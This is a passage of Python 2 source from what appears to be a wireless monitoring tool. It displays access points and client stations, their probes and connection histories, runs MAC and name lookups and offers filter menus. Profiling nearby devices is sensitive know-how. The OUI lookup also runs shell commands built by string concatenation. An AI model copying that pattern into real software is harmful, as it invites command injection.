            WPSInfo="Not Enabled"
            if ListInfo_WPS[n]!="-":
                WPSLock=""
                if ListInfo_WPSLock[n]!="No":
                    WPSLock=APColor + " / " + StdColor + "Locked"
                WPSInfo=ListInfo_WPS[n] + APColor + " / Ver : " + StdColor + ListInfo_WPSVer[n] + WPSLock
            DataValue10 = APColor + "Connected Client: " + StdColor + str(ClientText).ljust(40) + APColor + "WPS Enabled : " + StdColor + str(WPSInfo) + "\n"
            k=0
            ConnectedClient= []
            PrevConnectedClient= []
            UnassociatedClient= []
            while k < len(__builtin__.ListInfo_STATION):
                if __builtin__.ListInfo_CBSSID[k]==BSSID:
                    ConnectedClient.append (str(k))
                if str(__builtin__.ListInfo_CBSSIDPrevList[k]).find(BSSID)!=-1 and str(__builtin__.ListInfo_CBSSID[k])!=BSSID:
                    if __builtin__.ListInfo_CBSSID[k]!=BSSID:
                        PrevConnectedClient.append (str(k))
                if ESSID!="" and __builtin__.ListInfo_PROBE[k].find(ESSID)!=-1 and __builtin__.ListInfo_CBSSID[k]!=BSSID:
                    UnassociatedClient.append (str(k))
                k += 1
            DataValue11=""
            DataValue12=""
            if len(UnassociatedClient)>0:
                DataValue11 = APColor + "Unassociated    : " + StdColor + str(len(UnassociatedClient)) + " station which is not associated with Access Point but probing for " + fcolor.BPink + str(ESSID) + "\n"
            if len(PrevConnectedClient)>0:
                DataValue12 = APColor + "Prev. Connection: " + StdColor + str(len(PrevConnectedClient)) + "\n"
            RecNo=str(RecordNum)
            if str(ListInfo_Enriched[n])!="":
                RecNo=RecNo + " *"
            RecNo=str(str(RecNo).ljust(40)).replace(" *",fcolor.SCyan + " *")
            RecType=""
            if str(__builtin__.ListInfo_STATION).find(BSSID)!=-1:
                RecType=fcolor.BRed + "The MAC Address is detected to be both an Access Point & Station"
            DataValue0 = APColor + "Access Point No.: " + fcolor.SRed + str(RecNo) + str(RecType) + "\n"
            DataValue= DataValue0 + DataValue1 + DataValue2 + DataValue3 + DataValue4 + DataValue5 + DataValue6 + DataValue7  + DataValue8 + DataValue9 + DataValue10 + DataValue11 + DataValue12
            print DataValue
            DisplayMACDetailFromFiles(BSSID)
        x += 1

def DisplayStationDetail():
    CenterText(fcolor.BWhite + fcolor.BGBlue, "MATCHED STATIONS LISTING [ " + str(len(__builtin__.ShowStationList)) + " ]")
    x=0
    StnColor=fcolor.SGreen
    RecordNum=0
    while x < len(__builtin__.ShowStationList):
        RecordNum += 1
        DataValue0="";DataValue1="";DataValue2="";DataValue3="";DataValue4="";DataValue5="";DataValue6="";DataValue7="";DataValue8=""
        n=int(__builtin__.ShowStationList[x])
        StnMAC=ListInfo_STATION[n]
        CBSSID=ListInfo_CBSSID[n]
        OUITxt=Check_OUI(ListInfo_CBSSID[x],"")
        DataValue0 = lblColor + "Client Number   : " + fcolor.BRed + str(RecordNum)  + "\n"
        DataValue1= lblColor + "STATION MAC ID  : " + fcolor.BYellow + str(StnMAC).ljust(40) + lblColor + "Vendor      : " + fcolor.BCyan + str(__builtin__.ListInfo_COUI[n]) + "\n"    
        SignalRange=str(ListInfo_CBestQuality[n]) + " dBm" + lblColor + fcolor.CBold + " ["  + str(ListInfo_CQualityRange[n])  + lblColor + fcolor.CBold + "]" 
        DataValue2 = lblColor + "Power/Range     : " + StdColor + str(SignalRange) + "\t\t\t  " + lblColor + "Packets     : " + StdColor + str(ListInfo_CPackets[n]).ljust(41) + lblColor + "Standard    : " + StdColor + str(ListInfo_STNStandard[n])  + "\n" 
        DataValue3 = lblColor + "First Time Seen : " + StdColor + str(ListInfo_CFirstSeen[n]).ljust(40) + lblColor + "Last Seen   : " + StdColor + str(ListInfo_CLastSeen[n]).ljust(41) + lblColor + "Duration    : " + StdColor + str(ListInfo_CElapse[n]) +"\n"
        CntBSSID=CBSSID
        if str(CntBSSID).find("Not Associated")!=-1:
            CntBSSID="<Not Associated>"
            CntBSSID=fcolor.SBlack + str(CntBSSID).ljust(40)
        else:
            CntBSSID=fcolor.BWhite+ str(CntBSSID).ljust(40)
        DataValue4= lblColor + "Connected BSSID : " + str(CntBSSID) + lblColor + "Vendor      : " + fcolor.SCyan + str(OUITxt) + "\n"    
        CntESSID=ListInfo_CESSID[n]
        if CntESSID=="" and str(CntBSSID).find("Not Associated")==-1:
            CntESSID=fcolor.SBlack + "<<NO NAME>>".ljust(40)
        else:
            CntESSID=fcolor.BPink + ListInfo_CESSID[n].ljust(40)
        DataValue5 = lblColor + "ESSID Connected : " + StdColor + str(CntESSID) + lblColor + "Last Active : " + StdColor + str(ListInfo_CTimeGapFull[n]) + lblColor + " - [ " + StdColor + str(ListInfo_CTimeGap[n]) + lblColor + " min ago ]" + "\n"
        if str(ListInfo_PROBE[n])!="":
            Probes=ListInfo_PROBE[n]
            Probes=str(Probes).replace(" / ",lblColor + " | " + fcolor.SBlue)
            DataValue6 = lblColor + "Probes          : " + fcolor.SBlue + str(Probes) +"\n"
        AssocHistory=str(ListInfo_CBSSIDPrevList[n])
        AssocHistory=str(AssocHistory).replace("| Not Associated) | ","").replace("Not Associated | ","").replace("  "," ").replace("|",lblColor + "|" + StdColor)
        DataValue7 = lblColor + "Connect History : " + StdColor + str(AssocHistory) +"\n"
        DataValue8=""
        CenterText(fcolor.BBlack + fcolor.BGWhite, "STATION MAC ADDRESS [ " + str(StnMAC) + "] DETAILED INFORMATION - RECORD " + str(RecordNum) + "/" + str(len(__builtin__.ShowStationList)))
        print ""
        DataValue= DataValue0 + DataValue1 + DataValue2 + DataValue3 + DataValue4 + DataValue5 + DataValue6 + DataValue7  + DataValue8
        print DataValue
        DisplayMACDetailFromFiles(StnMAC)
        AssocHistory=RemoveColor(AssocHistory)
        ConnectedBSSID = []
        ConnectedBSSID= str(AssocHistory).replace(" ","").split('|')
        if len(ConnectedBSSID)>1:
            DisplayConnectedBSSID("Related Access Point Information",ConnectedBSSID)
        LineBreak()
        x += 1
    return

def DisplayMyMAC():
    __builtin__.SELECTED_MON_MAC=GetMyMAC(__builtin__.SELECTED_MON)
    __builtin__.SELECTED_MANIFACE_MAC=GetMyMAC(__builtin__.SELECTED_MANIFACE)
    __builtin__.SELECTED_IFACE_MAC=GetMyMAC(__builtin__.SELECTED_IFACE)
    __builtin__.SELECTED_ATK_MAC=GetMyMAC(__builtin__.SELECTED_ATK)
    print fcolor.BWhite + tabspacefull + "Selected Interface : " +  fcolor.BGreen + str(__builtin__.SELECTED_IFACE_MAC).ljust(20) + fcolor.BWhite + " [" + fcolor.BRed + str(__builtin__.SELECTED_IFACE) + fcolor.BWhite + "]"
    print fcolor.BWhite + tabspacefull + "Monitor Interface  : " +  fcolor.BGreen + str(__builtin__.SELECTED_MON_MAC).ljust(20) + fcolor.BWhite + " [" + fcolor.BRed + str(__builtin__.SELECTED_MON) + fcolor.BWhite + "]"
    print fcolor.BWhite + tabspacefull + "Attacks Interface  : " +  fcolor.BGreen + str(__builtin__.SELECTED_ATK_MAC).ljust(20) + fcolor.BWhite + " [" + fcolor.BRed + str(__builtin__.SELECTED_ATK) + fcolor.BWhite + "]"
    print fcolor.BWhite + tabspacefull +"Managed Interface  : " +  fcolor.BGreen + str(__builtin__.SELECTED_MANIFACE_MAC).ljust(20) + fcolor.BWhite + " [" + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE) + fcolor.BWhite + "]"

def LookupMAC(sMACAddr):
    __builtin__.SELECTTYPE="MAC"
    __builtin__.MatchBSSIDCt=0
    __builtin__.MatchStationCt=0
    __builtin__.ShowStationList=[]
    __builtin__.ShowStationList2=[]
    __builtin__.ShowBSSIDList=[]
    __builtin__.ShowBSSIDList2=[]
    if sMACAddr=="":
        usr_resp=AskQuestion("Enter the MAC to lookup for","xx:xx:xx:xx:xx:xx","U"," ","")
    else:
        usr_resp=sMACAddr
    __builtin__.SearchType="0"
    __builtin__.SearchTypelbl="Exact"
    if IsHex(usr_resp)==False:
        printc ("!!","Invalid MAC Address specified !","")
        return;
    if len(usr_resp)>17 :
        printc ("!!","Search MAC should not be more than 17 characters !","")
        return;
    elif len(usr_resp)>1:
        sMAC=usr_resp
        if str(sMAC).find("*")==-1:
            oui=Check_OUI(sMAC,"1")
            printc(".",fcolor.BWhite + "MAC Address OUI     : " + fcolor.SCyan + str(oui),"")
            tmac=str(sMAC).replace("*","").replace("-","").replace(":","")
            if len(tmac)<11:
                usr_resp="*" + sMAC + "*"
            if len(tmac)==11:
                usr_resp=sMAC + "*"
        if str(usr_resp)[:1]=="*" and str(usr_resp)[-1:]=="*":
            __builtin__.SearchType="1"      # Find Match
            __builtin__.SearchTypelbl="Containing"
        if str(usr_resp)[:1]!="*" and str(usr_resp)[-1:]=="*":
            __builtin__.SearchType="2"      # Match beginning
            __builtin__.SearchTypelbl="Begining With"
        if str(usr_resp)[:1]=="*" and str(usr_resp)[-1:]!="*":
            __builtin__.SearchType="3"      # Match ending
            __builtin__.SearchTypelbl="Ending With"
        __builtin__.SearchVal=str(usr_resp).replace("*","")
        __builtin__.SearchLen=len(__builtin__.SearchVal)
        printc (".",fcolor.BWhite + "Search MAC Criteria : " + fcolor.BRed + str(__builtin__.SearchVal) + fcolor.SWhite + " (" + str(__builtin__.SearchTypelbl) + ")" ,"")
        i=0
        while i < len(ListInfo_BSSID):
            ToDisplay = 0
            if __builtin__.SearchType=="0" and str(ListInfo_BSSID[i])==__builtin__.SearchVal:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.ShowBSSIDList2.append (ListInfo_BSSID[i])
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="1" and str(ListInfo_BSSID[i]).find(__builtin__.SearchVal)!=-1:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.ShowBSSIDList2.append (ListInfo_BSSID[i])
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="2" and str(ListInfo_BSSID[i])[:__builtin__.SearchLen]==__builtin__.SearchVal:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.ShowBSSIDList2.append (ListInfo_BSSID[i])
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="3" and str(ListInfo_BSSID[i])[-__builtin__.SearchLen:]==__builtin__.SearchVal:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.ShowBSSIDList2.append (ListInfo_BSSID[i])
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if ToDisplay==1:
                YOURMAC=""
                if ListInfo_BSSID[i]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_BSSID[i]==__builtin__.SELECTED_MON_MAC or ListInfo_BSSID[i]==__builtin__.SELECTED_IFACE_MAC or ListInfo_BSSID[i]==__builtin__.SELECTED_ATK_MAC:
                    YOURMAC=fcolor.BRed + " [YOUR MAC]"
                print tabspacefull + fcolor.SGreen + "Found Match : " + fcolor.SWhite + str(ListInfo_BSSID[i]) + fcolor.SGreen + " (BSSID)" + str(YOURMAC)
            i += 1
        i=0
        while i < len(ListInfo_STATION):
            ToDisplay = 0
            if __builtin__.SearchType=="0" and str(ListInfo_STATION[i])==__builtin__.SearchVal:
                __builtin__.ShowStationList.append (i)
                __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                __builtin__.MatchStationCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="1" and str(ListInfo_STATION[i]).find(__builtin__.SearchVal)!=-1:
                __builtin__.ShowStationList.append (i)
                __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                __builtin__.MatchStationCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="2" and str(ListInfo_STATION[i])[:__builtin__.SearchLen]==__builtin__.SearchVal:
                __builtin__.ShowStationList.append (i)
                __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                __builtin__.MatchStationCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="3" and str(ListInfo_STATION[i])[-__builtin__.SearchLen:]==__builtin__.SearchVal:
                __builtin__.ShowStationList.append (i)
                __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                __builtin__.MatchStationCt += 1
                ToDisplay=1
            if ToDisplay==1:
                YOURMAC=""
                if ListInfo_STATION[i]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_STATION[i]==__builtin__.SELECTED_MON_MAC or ListInfo_STATION[i]==__builtin__.SELECTED_IFACE_MAC or ListInfo_STATION[i]==__builtin__.SELECTED_ATK_MAC:
                    YOURMAC=fcolor.BRed + " [YOUR MAC]"
                print tabspacefull + fcolor.SGreen + "Found Match : " + fcolor.SWhite + str(ListInfo_STATION[i]) + fcolor.SGreen + " (Station)" + str(YOURMAC)
            i += 1

def LookupName(sName):
    __builtin__.SELECTTYPE="NAME"
    __builtin__.MatchBSSIDCt=0
    __builtin__.MatchStationCt=0
    __builtin__.ShowStationList=[]
    __builtin__.ShowStationList2=[]
    __builtin__.ShowBSSIDList=[]
    __builtin__.ShowBSSIDList2=[]
    if sName=="":
        usr_resp=AskQuestion("Enter the Name to lookup for","",""," ","")
    else:
        usr_resp=sName
    __builtin__.SearchType="0"
    __builtin__.SearchTypelbl="Exact"
    if len(usr_resp)>32 :
        printc ("!!","Search Name should not be more than 32 characters !","")
    elif len(usr_resp)>1:
        if str(usr_resp)[:1]=="*" and str(usr_resp)[-1:]=="*":
            __builtin__.SearchType="1"      # Find Match
            __builtin__.SearchTypelbl="Containing"
        if str(usr_resp)[:1]!="*" and str(usr_resp)[-1:]=="*":
            __builtin__.SearchType="2"      # Match beginning
            __builtin__.SearchTypelbl="Begining With"
        if str(usr_resp)[:1]=="*" and str(usr_resp)[-1:]!="*":
            __builtin__.SearchType="3"      # Match ending
            __builtin__.SearchTypelbl="Ending With"
        __builtin__.SearchVal=str(usr_resp).replace("*","")
        __builtin__.SearchLen=len(__builtin__.SearchVal)
        printc (".",fcolor.BWhite + "Search Name Criteria : " + fcolor.BRed + str(__builtin__.SearchVal) + fcolor.SWhite + " (" + str(__builtin__.SearchTypelbl) + ")" ,"")
        i=0
        while i < len(ListInfo_BSSID):
            ToDisplay = 0
            UESSID=str(ListInfo_ESSID[i]).upper()
            __builtin__.USearchVal=str(__builtin__.SearchVal).upper()
            if __builtin__.SearchType=="0" and str(UESSID)==__builtin__.USearchVal:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="1" and str(UESSID).find(__builtin__.USearchVal)!=-1:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="2" and str(UESSID)[:__builtin__.SearchLen]==__builtin__.USearchVal:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if __builtin__.SearchType=="3" and str(UESSID)[-__builtin__.SearchLen:]==__builtin__.USearchVal:
                __builtin__.ShowBSSIDList.append (i)
                __builtin__.MatchBSSIDCt += 1
                ToDisplay=1
            if ToDisplay==1:
                YOURMAC=""
                if ListInfo_BSSID[i]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_BSSID[i]==__builtin__.SELECTED_MON_MAC or ListInfo_BSSID[i]==__builtin__.SELECTED_IFACE_MAC  or ListInfo_BSSID[i]==__builtin__.SELECTED_ATK_MAC:
                    YOURMAC=fcolor.BRed + " [YOUR MAC]"
                print tabspacefull + fcolor.SGreen + "Found Match : " + fcolor.SWhite + str(ListInfo_BSSID[i]) + fcolor.SGreen + " (ESSID)\t\tESSID : " + fcolor.SPink + str(ListInfo_ESSID[i]) + str(YOURMAC)
            i += 1
        i=0
        while i < len(ListInfo_STATION):
            ToDisplay = 0
            ProbeData=[]
            ProbeData=str(ListInfo_PROBE[i]).split(" / ")
            j=0 
            while j<len(ProbeData):
                ToDisplay=0;FoundProbe=""
                UProbeData=str(ProbeData[j]).upper()
                __builtin__.USearchVal=str(__builtin__.SearchVal).upper()
                if __builtin__.SearchType=="0" and str(UProbeData)==__builtin__.USearchVal:
                    FoundProbe=str(ProbeData[j])
                    __builtin__.ShowStationList.append (i)
                    __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                    __builtin__.MatchStationCt += 1
                    ToDisplay=1
                    j=len(ProbeData)
                if __builtin__.SearchType=="1" and str(UProbeData).find(__builtin__.USearchVal)!=-1:
                    FoundProbe=str(ProbeData[j])
                    __builtin__.ShowStationList.append (i)
                    __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                    __builtin__.MatchStationCt += 1
                    ToDisplay=1
                    j=len(ProbeData)
                if __builtin__.SearchType=="2" and str(UProbeData)[:__builtin__.SearchLen]==__builtin__.USearchVal:
                    FoundProbe=str(ProbeData[j])
                    __builtin__.ShowStationList.append (i)
                    __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                    __builtin__.MatchStationCt += 1
                    ToDisplay=1
                    j=len(ProbeData)
                if __builtin__.SearchType=="3" and str(UProbeData)[-__builtin__.SearchLen:]==__builtin__.USearchVal:
                    FoundProbe=str(ProbeData[j])
                    __builtin__.ShowStationList.append (i)
                    __builtin__.ShowStationList2.append (ListInfo_STATION[i])
                    __builtin__.MatchStationCt += 1
                    ToDisplay=1
                    j=len(ProbeData)
                j += 1
            if ToDisplay==1:
                YOURMAC=""
                if ListInfo_STATION[i]==__builtin__.SELECTED_MANIFACE_MAC or ListInfo_STATION[i]==__builtin__.SELECTED_MON_MAC or ListInfo_STATION[i]==__builtin__.SELECTED_IFACE_MAC  or ListInfo_BSSID[i]==__builtin__.SELECTED_ATK_MAC:
                    YOURMAC=fcolor.BRed + " [YOUR MAC]"
                print tabspacefull + fcolor.SGreen + "Found Match : " + fcolor.SWhite + str(ListInfo_STATION[i]) + fcolor.SGreen + " (Station Probe)\tProbe : " + fcolor.SBlue + str(FoundProbe) + str(YOURMAC)
            i += 1

def OptInfoDisplay(HeaderLine,DisplayHeader):
    if HeaderLine!="":
        LineBreak()
    if DisplayHeader=="1":
        printc ("+", fcolor.BBlue + "Information Lookup Menu","")
    DisplayMyMAC()
    print tabspacefull + StdColor + "Information Lookup allow user to search for MAC address of Access Point and Wireless Station detected. "
    print tabspacefull + StdColor + "It also allow user to search for SSID of Access Point and also Probe name broadcasted from Wireless station."
    print tabspacefull + StdColor + "User can also search for partial MAC or Name by adding '*' infront / back of the search variable."
    print tabspacefull + StdColor + "Once information is found, it will display the full detail of the devices including it association with Access Point/Station."
    print ""
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "M" + StdColor + " - " + SelColor + "M" + StdColor + "AC Address\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "N" + StdColor + " - " + SelColor + "N" + StdColor + "ames of Access Point / Probes\n"
    Option3 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "O" + StdColor + " - " + SelColor + "O" + StdColor + "rganizationally Unique Identifier (OUI) Lookup base on MAC Address\n"
    OptionA=Option1 + Option2 + Option3 
    print OptionA
    usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","M / N / O / D","U","RETURN","1")
    if usr_resp=="RETURN" or usr_resp=="R":
        return;
    if usr_resp=="1" or usr_resp=="M":
        print ""
        LookupMAC("")
        ProcessOptInfoDisplay()
    if usr_resp=="2" or usr_resp=="N":
        print ""
        LookupName("")
        ProcessOptInfoDisplay()
    if usr_resp=="3" or usr_resp=="O":
        print ""
        LookupOUI("","1")
        ProcessOptInfoDisplay()
    return;

def LookupOUI(MACAddr,HeaderLine):
    tmplist=[]
    listct=0
    if HeaderLine!="":
        LineBreak()
        printc ("+", fcolor.BBlue + "MAC OUI Lookup Menu ","")
        print StdColor + tabspacefull + "This function allow user to lookup on a MAC address on the MAC OUI database for the purpose of narrowing possible device type."
        print StdColor + tabspacefull + "Note : Only available for detail MAC OUI database."
        print ""
    ret=""
    while ret=="":
        if MACAddr=="":
            MACAddr=AskQuestion("Enter the MAC Address to search, minimum first 3 Octets" ,"xx:xx:xx:xx:xx:xx","U","RETURN","1")
        if MACAddr=="RETURN":
            ret="-"
            return
        else:
            MACAddr=MACAddr.replace(":","").replace(" ","").replace("-","")
            MACAddr=":".join(MACAddr[i:i+2] for i in range(0,len(MACAddr),2))
            if str(MACAddr)[-1:]==":":
                MACAddr=str(MACAddr[:-1])
            if len(MACAddr)<8 or len(MACAddr)>17 or IsHex(MACAddr)==False:
                printc ("!!!","Invalid MAC Address Entered !","")
            elif IsHex(MACAddr)==True:
                LineBreak()
                Result=""
                OUI=""
                MACAddrO=str(MACAddr)
                MAC4=str(MACAddr[:11])
                MACAddr=MACAddr.replace(":","").replace(" ","").replace("-","")
                printc ("i",fcolor.BWhite + "Entered MAC Address : " + fcolor.BRed + str(MACAddrO),"")
                OUI=Check_OUI(MACAddrO,"1")
                printc (" ",fcolor.BWhite + "MAC OUI             : " + fcolor.BCyan + str(OUI),"")
                print ""
                listct=0
                cl=0
                printc (".",fcolor.BPink + "MAC OUI Listing","")
                MACAddr6=MACAddr[:6]
                if IsFileDirExist(__builtin__.MACOUI)=="F":
                    with open(__builtin__.MACOUI,"r") as f:
                        for line in f:
                            line=line.replace("\n","").replace("\00","").lstrip().rstrip()
                            if line!="":
                                if str(line[:6])==MACAddr6:
                                    tmplist=str(line).split("\t")
                                    MACList=str(tmplist[0])
                                    MACList=":".join(MACList[i:i+2] for i in range(0,len(MACList),2))
                                    if cl==0:
                                        LB=fcolor.BBlue
                                        FC=fcolor.SBlue
                                    else:
                                        LB=fcolor.BYellow
                                        FC=fcolor.SYellow
                                    if str(MACList).find(MAC4)!=-1:
                                        FC=fcolor.BRed
                                    MACList=str(MACList).ljust(18) + " "
                                    printc (listct+1,LB + "MAC Addr : " + FC + str(MACList) + LB + "Detail : " + FC +str(tmplist[1]),"")
                                    listct += 1
                                    cl += 1
                                    if cl==2:
                                        cl=0
        if listct!=0:
            printc (" ","Total Listed : " + fcolor.BRed + str(listct),"")
        LineBreak()
        MACAddr=""
    

def Check_OUI(MACAddr,CMD):
    Result=""
    OUI=""
    if len(MACAddr)==11:
        MACAddr=MACAddr+":00:00"
    if len(MACAddr)==14:
        MACAddr=MACAddr+":00"
    if len(MACAddr)==17:
        MACAddr=MACAddr.replace(":","")
        MACAddr9=MACAddr[:9]
        MACAddr6=MACAddr[:6]
        MACAddr8=MACAddr[:8]
        MACAddr12=MACAddr[:12]
        if IsFileDirExist(__builtin__.MACOUI)=="F":
            if CMD=="":
                cmdLine="grep -w " + str(MACAddr8) + " " + str(__builtin__.MACOUI)
                ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                readout=str(ps.stdout.read().replace("\n","").replace("\r","").replace(MACAddr8,"").lstrip().rstrip())
                ps.wait();ps.stdout.close()
                if readout!="":
                    OUI=str(readout) + fcolor.SBlack + " [4]"
                    return OUI
                else:
                    cmdLine="grep -w " + str(MACAddr6) + " " + str(__builtin__.MACOUI)
                    ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                    readout=str(ps.stdout.read().replace("\n","").replace("\r","").replace(MACAddr6,"").lstrip().rstrip())
                    ps.wait();ps.stdout.close()
                    if readout!="":
                        OUI=str(readout) + fcolor.SBlack + " [3]"
                        return OUI
                    else:
                        return "Unknown"
            else:
                cmdLine="grep -w " + str(MACAddr12) + " " + str(__builtin__.MACOUI)
                ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                readout=str(ps.stdout.read().replace("\n","").replace("\r","")) #.replace(MACAddr12,"").lstrip().rstrip())
                if readout!="":
                    OUI=str(readout)[13:] + fcolor.SBlack + " [6]"
                    return OUI
                else:
                    cmdLine="grep -w " + str(MACAddr9) + " " + str(__builtin__.MACOUI)
                    ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                    readout=str(ps.stdout.read().replace("\n","").replace("\r","")) #.replace(MACAddr9,"").lstrip().rstrip())
                    if readout!="":
                        OUI=str(readout)[10:]+ fcolor.SBlack + " [5]"
                        return OUI
                    else:
                        cmdLine="grep -w " + str(MACAddr8) + " " + str(__builtin__.MACOUI)
                        ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                        readout=str(ps.stdout.read().replace("\n","").replace("\r","")) #.replace(MACAddr8,"").lstrip().rstrip())
                        if readout!="":
                            OUI=str(readout)[9:]+ fcolor.SBlack + " [4]"
                            return OUI
                        else:
                            cmdLine="grep -w " + str(MACAddr6) + " " + str(__builtin__.MACOUI)
                            ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                            readout=str(ps.stdout.read().replace("\n","").replace("\r","")) #.replace(MACAddr6,"").lstrip().rstrip())
                            if readout!="":
                                OUI=str(readout)[7:]+ fcolor.SBlack + " [3]"
                                return OUI
                            else:
                                return "Unknown"
                return "Unknown"
    else:
        if len(MACAddr)==8:
            MACAddr6=str(MACAddr).replace(":","").replace(" ","").replace("-","")
            cmdLine="grep -w " + str(MACAddr6) + " " + str(__builtin__.MACOUI)
            ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
            readout=str(ps.stdout.read().replace("\n","").replace("\r","").replace(MACAddr6,"").lstrip().rstrip())
            ps.wait();ps.stdout.close()
            if readout!="":
                OUI=str(readout) + fcolor.SBlack + " [3]"
                return OUI
            else:
                return "Unknown"

def ProcessOptInfoDisplay():
    if __builtin__.MatchBSSIDCt>0 or __builtin__.MatchStationCt>0:
        if __builtin__.MatchBSSIDCt>0:
            printc ("i","Total BSSID Matched   : " + fcolor.BRed + str(__builtin__.MatchBSSIDCt),"")
        if __builtin__.MatchStationCt>0:
            printc ("i","Total Station Matched : " + fcolor.BRed + str(__builtin__.MatchStationCt),"")
        print ""
        printc ("x","Press any key to display the listing detail...","")
    else:
        if SELECTTYPE=="MAC":
            printc ("!!","The specified MAC address was not found in current active listing !!!","")
        if SELECTTYPE=="NAME":
            printc ("!!","The specified Name was not found in current active listing !!!","")
        print ""
        if __builtin__.SearchVal!="":
            usr_resp=AskQuestion(fcolor.BGreen + "Do you want to try to search the database files" + fcolor.BGreen,"Y/n","U","Y","1")
            if usr_resp=="Y":
                if SELECTTYPE=="MAC":
                    SearchDBFiles("MAC", __builtin__.SearchVal,__builtin__.SearchLen,__builtin__.SearchType,__builtin__.SearchTypelbl)
                    OptInfoDisplay("","1")
                    return;
                if SELECTTYPE=="NAME":
                    SearchDBFiles("NAME", __builtin__.SearchVal,__builtin__.SearchLen,__builtin__.SearchType,__builtin__.SearchTypelbl)
                    OptInfoDisplay("","1")
                    return;
            else:
                OptInfoDisplay("1","1")
                return;
        else:
            OptInfoDisplay("1","1")
            return;
    if __builtin__.MatchBSSIDCt>0:
        DisplayBSSIDDetail()
    if __builtin__.MatchStationCt>0:
        DisplayStationDetail()
    usr_resp=AskQuestion(fcolor.BGreen + "Do you want to try to search the database files" + fcolor.BGreen,"Y/n","U","Y","1")
    if usr_resp=="Y":
        if SELECTTYPE=="MAC":
            SearchDBFiles("MAC", __builtin__.SearchVal,__builtin__.SearchLen,__builtin__.SearchType,__builtin__.SearchTypelbl)
        if SELECTTYPE=="NAME":
            SearchDBFiles("NAME", __builtin__.SearchVal,__builtin__.SearchLen,__builtin__.SearchType,__builtin__.SearchTypelbl)

def OptFilterDisplay(HeaderLine):
    if HeaderLine!="":
        LineBreak()
    GetFilterDetail()
    printc ("+", fcolor.BBlue + "Filtering Menu ","")
    print StdColor + tabspacefull + "This option allow user to filter encryption type, signal range, channel, having clients and WPS enabled access point."
    print StdColor + tabspacefull + "It also enable filtering of probes, signal range, associated and unassociated station."
    print ""
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "A" + StdColor + " - " + SelColor + "A" + StdColor + "ccess Point\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "S" + StdColor + " - " + SelColor + "S" + StdColor + "tation / Client\n"
    Option3 =tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "U" + StdColor + " - " + SelColor + "U" + StdColor + "nassociated Station\n"
    Option4=""
    if __builtin__.DisplayAllFilter!="":
        Option4 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear All Filters\n"
    OptionA=Option1 + Option2 + Option3  + Option4
    print OptionA
    if __builtin__.DisplayAllFilter!="":
        print __builtin__.DisplayAllFilter
    usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","A / S / U" ,"U","RETURN","1")
    if usr_resp=="9" or usr_resp=="X":
            __builtin__.NETWORK_PROBE_FILTER="ALL"
            __builtin__.NETWORK_UPROBE_FILTER="ALL"
            __builtin__.NETWORK_ASSOCIATED_FILTER="ALL"
            __builtin__.NETWORK_UNASSOCIATED_FILTER="ALL"
            __builtin__.NETWORK_CSIGNAL_FILTER="ALL"
            __builtin__.NETWORK_UCSIGNAL_FILTER="ALL"
            __builtin__.NETWORK_FILTER="ALL"
            __builtin__.NETWORK_SIGNAL_FILTER="ALL"
            __builtin__.NETWORK_CHANNEL_FILTER="ALL"
            __builtin__.NETWORK_WPS_FILTER="ALL"
            __builtin__.NETWORK_ESSID_FILTER=""
            __builtin__.NETWORK_BSSID_FILTER=""
            __builtin__.NETWORK_CLIENT_FILTER="ALL"
            printc (" ","All Filters Cleared !","")
            OptFilterDisplay("1")
            return;
    if usr_resp=="RETURN":
        return;
